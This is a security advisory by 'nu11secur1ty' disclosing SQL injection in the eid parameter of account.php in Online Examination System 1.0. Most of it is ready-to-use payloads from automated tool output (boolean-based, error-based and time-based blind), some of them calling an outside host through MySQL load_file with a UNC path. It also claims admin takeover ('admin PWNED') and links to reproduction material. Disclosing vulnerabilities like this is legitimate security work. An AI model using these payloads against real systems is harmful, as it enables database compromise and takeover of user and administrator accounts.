Online Examination System Project 1.0 SQL Injection

`## Title: Online Examination System Project 1.0 SQL - Injections  
## Author: nu11secur1ty  
## Date: 01.10.2022  
## Vendor: https://projectworlds.in/free-projects/php-projects/  
## Software: https://projectworlds.in/free-projects/php-projects/online-examination/  
  
## Description:  
The eid parameter in `account.php` from Online Examination System 1.0  
system appears to be vulnerable to SQL injection attacks.  
The payload '+(select  
load_file('\\\\0jkmt3q30zv5dtuzpbb7tew1fsll9dz1q4ev1npc.tupaka.net\\xxi'))+'  
was submitted in the eid parameter.  
This payload injects a SQL sub-query that calls MySQL's load_file  
function with a UNC file path that references a URL on an external  
domain.  
The application interacted with that domain, indicating that the  
injected SQL query was executed.  
The attacker can take account control of all accounts plus an  
administrator account on this system.  
Status: CRITICAL  
  
[+] Payload:  
  
```mysql  
---  
Parameter: eid (GET)  
Type: boolean-based blind  
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)  
Payload: q=quiz&step=2&eid=-2303' OR 9254=9254#&n=2&t=2  
  
Type: error-based  
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or  
GROUP BY clause (FLOOR)  
Payload: q=quiz&step=2&eid=558920ff906b8'+(select  
load_file('\\\\0jkmt3q30zv5dtuzpbb7tew1fsll9dz1q4ev1npc.tupaka.net\\xxi'))+''  
OR (SELECT 8851 FROM(SELECT COUNT(*),CONCAT(0x71627a7171,(SELECT  
(ELT(8851=8851,1))),0x7162766271,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- enxi&n=2&t=2  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: q=quiz&step=2&eid=558920ff906b8'+(select  
load_file('\\\\0jkmt3q30zv5dtuzpbb7tew1fsll9dz1q4ev1npc.tupaka.net\\xxi'))+''  
AND (SELECT 2169 FROM (SELECT(SLEEP(3)))vUQa)-- mkFM&n=2&t=2  
---  
- admin PWNED:  
  
---  
Parameter: eid (GET)  
Type: boolean-based blind  
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)  
Payload: q=quiz&step=2&eid=-3444' OR 9185=9185#&n=2&t=2  
  
Type: error-based  
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or  
GROUP BY clause (FLOOR)  
Payload: q=quiz&step=2&eid=558920ff906b8'+(select  
load_file('\\\\0jkmt3q30zv5dtuzpbb7tew1fsll9dz1q4ev1npc.tupaka.net\\xxi'))+''  
OR (SELECT 8668 FROM(SELECT COUNT(*),CONCAT(0x716b7a6271,(SELECT  
(ELT(8668=8668,1))),0x716a6a7871,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- STVX&n=2&t=2  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: q=quiz&step=2&eid=558920ff906b8'+(select  
load_file('\\\\0jkmt3q30zv5dtuzpbb7tew1fsll9dz1q4ev1npc.tupaka.net\\xxi'))+''  
AND (SELECT 4208 FROM (SELECT(SLEEP(3)))GPoO)-- AvEf&n=2&t=2  
---  
  
```  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/edit/main/vendors/Projectworlds/2022/Online%20Examination%20System)  
  
## Proof and Exploit:  
[href](https://streamable.com/iigqg0)  
  
  
--   
System Administrator - Infrastructure Engineer  
Penetration Testing Engineer  
Exploit developer at https://packetstormsecurity.com/  
https://cve.mitre.org/index.html and https://www.exploit-db.com/  
home page: https://www.nu11secur1ty.com/  
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=  
nu11secur1ty <http://nu11secur1ty.com/>  
`